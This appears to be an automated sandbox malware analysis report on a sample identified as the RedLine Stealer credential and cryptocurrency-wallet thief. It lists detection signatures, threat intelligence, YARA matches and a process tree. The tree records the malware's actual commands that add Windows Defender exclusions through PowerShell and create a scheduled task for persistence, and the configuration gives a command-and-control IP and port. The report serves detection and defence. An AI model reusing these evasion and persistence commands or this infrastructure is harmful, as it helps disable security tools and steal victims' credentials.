Edit tour

Windows Analysis Report
I5pvP0CU6M.exe

Overview

General Information

Sample name:	I5pvP0CU6M.exe renamed because original name is a hash value
Original sample name:	68b2a6e71c0c904a9aeabfc9adbf7a21.exe
Analysis ID:	1548177
MD5:	68b2a6e71c0c904a9aeabfc9adbf7a21
SHA1:	0577bcb0a9736b45f1eb92f6070aac2134e674dc
SHA256:	f6b09208c3523be3a490af2fc305d4574b38d95a435c8a55402fca38597e6dac
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Scheduled temp file as task from temp location

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

I5pvP0CU6M.exe (PID: 2432 cmdline: "C:\Users\user\Desktop\I5pvP0CU6M.exe" MD5: 68B2A6E71C0C904A9AEABFC9ADBF7A21)

powershell.exe (PID: 4788 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\I5pvP0CU6M.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3416 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5580 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\VcihjWRO.exe" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 4900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 7240 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 5720 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp4733.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 2760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

I5pvP0CU6M.exe (PID: 6724 cmdline: "C:\Users\user\Desktop\I5pvP0CU6M.exe" MD5: 68B2A6E71C0C904A9AEABFC9ADBF7A21)

conhost.exe (PID: 5552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

VcihjWRO.exe (PID: 7224 cmdline: C:\Users\user\AppData\Roaming\VcihjWRO.exe MD5: 68B2A6E71C0C904A9AEABFC9ADBF7A21)

schtasks.exe (PID: 7472 cmdline: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\VcihjWRO" /XML "C:\Users\user\AppData\Local\Temp\tmp7075.tmp" MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7480 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

VcihjWRO.exe (PID: 7556 cmdline: "C:\Users\user\AppData\Roaming\VcihjWRO.exe" MD5: 68B2A6E71C0C904A9AEABFC9ADBF7A21)

VcihjWRO.exe (PID: 7568 cmdline: "C:\Users\user\AppData\Roaming\VcihjWRO.exe" MD5: 68B2A6E71C0C904A9AEABFC9ADBF7A21)

conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.137.22.248:55615"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000009.00000002.2322211102.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.2316828394.0000000004445000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x141c2:$a4: get_ScannedWallets 0x2bfe2:$a4: get_ScannedWallets 0x43c02:$a4: get_ScannedWallets 0x13020:$a5: get_ScanTelegram 0x2ae40:$a5: get_ScanTelegram 0x42a60:$a5: get_ScanTelegram 0x13e46:$a6: get_ScanGeckoBrowsersPaths 0x2bc66:$a6: get_ScanGeckoBrowsersPaths 0x43886:$a6: get_ScanGeckoBrowsersPaths 0x11c62:$a7: <Processes>k__BackingField 0x29a82:$a7: <Processes>k__BackingField 0x416a2:$a7: <Processes>k__BackingField 0xfb74:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x27994:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f5b4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x11596:$a9: <ScanFTP>k__BackingField 0x293b6:$a9: <ScanFTP>k__BackingField 0x40fd6:$a9: <ScanFTP>k__BackingField
00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2220979591.00000000047A4000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x13cb2:$a4: get_ScannedWallets 0x2bad2:$a4: get_ScannedWallets 0x436f2:$a4: get_ScannedWallets 0x12b10:$a5: get_ScanTelegram 0x2a930:$a5: get_ScanTelegram 0x42550:$a5: get_ScanTelegram 0x13936:$a6: get_ScanGeckoBrowsersPaths 0x2b756:$a6: get_ScanGeckoBrowsersPaths 0x43376:$a6: get_ScanGeckoBrowsersPaths 0x11752:$a7: <Processes>k__BackingField 0x29572:$a7: <Processes>k__BackingField 0x41192:$a7: <Processes>k__BackingField 0xf664:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x27484:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3f0a4:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x11086:$a9: <ScanFTP>k__BackingField 0x28ea6:$a9: <ScanFTP>k__BackingField 0x40ac6:$a9: <ScanFTP>k__BackingField
Process Memory Space: I5pvP0CU6M.exe PID: 2432	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I5pvP0CU6M.exe PID: 2432	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: I5pvP0CU6M.exe PID: 2432	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: I5pvP0CU6M.exe PID: 2432	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x72204:$a4: get_ScannedWallets 0x710ab:$a5: get_ScanTelegram 0x71e8d:$a6: get_ScanGeckoBrowsersPaths 0x6fd3e:$a7: <Processes>k__BackingField 0x6d271:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x6f672:$a9: <ScanFTP>k__BackingField
Process Memory Space: I5pvP0CU6M.exe PID: 6724	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: I5pvP0CU6M.exe PID: 6724	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: I5pvP0CU6M.exe PID: 6724	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0xf832b:$a4: get_ScannedWallets 0xf71d2:$a5: get_ScanTelegram 0xf7fb4:$a6: get_ScanGeckoBrowsersPaths 0xf5e65:$a7: <Processes>k__BackingField 0xf3398:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xf5799:$a9: <ScanFTP>k__BackingField
Process Memory Space: VcihjWRO.exe PID: 7224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VcihjWRO.exe PID: 7224	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: VcihjWRO.exe PID: 7224	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: VcihjWRO.exe PID: 7224	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x1aaa3:$a4: get_ScannedWallets 0x1994a:$a5: get_ScanTelegram 0x1a72c:$a6: get_ScanGeckoBrowsersPaths 0x185dd:$a7: <Processes>k__BackingField 0x15b10:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x17f11:$a9: <ScanFTP>k__BackingField
Process Memory Space: VcihjWRO.exe PID: 7568	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VcihjWRO.exe PID: 7568	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
11.2.VcihjWRO.exe.4445bf8.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.VcihjWRO.exe.4445bf8.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.VcihjWRO.exe.4445bf8.1.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
11.2.VcihjWRO.exe.4445bf8.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
11.2.VcihjWRO.exe.445da18.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.VcihjWRO.exe.445da18.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.VcihjWRO.exe.445da18.3.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
11.2.VcihjWRO.exe.445da18.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
0.2.I5pvP0CU6M.exe.47a46e8.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47a46e8.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47a46e8.2.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.I5pvP0CU6M.exe.47a46e8.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
9.2.I5pvP0CU6M.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.I5pvP0CU6M.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
9.2.I5pvP0CU6M.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
9.2.I5pvP0CU6M.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
0.2.I5pvP0CU6M.exe.47bc508.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47bc508.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47bc508.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.I5pvP0CU6M.exe.47bc508.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
11.2.VcihjWRO.exe.445da18.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.VcihjWRO.exe.445da18.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.VcihjWRO.exe.445da18.3.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
11.2.VcihjWRO.exe.445da18.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
0.2.I5pvP0CU6M.exe.47bc508.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
11.2.VcihjWRO.exe.4445bf8.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.VcihjWRO.exe.4445bf8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
11.2.VcihjWRO.exe.4445bf8.1.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.VcihjWRO.exe.4445bf8.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
0.2.I5pvP0CU6M.exe.47a46e8.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
Click to see the 31 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

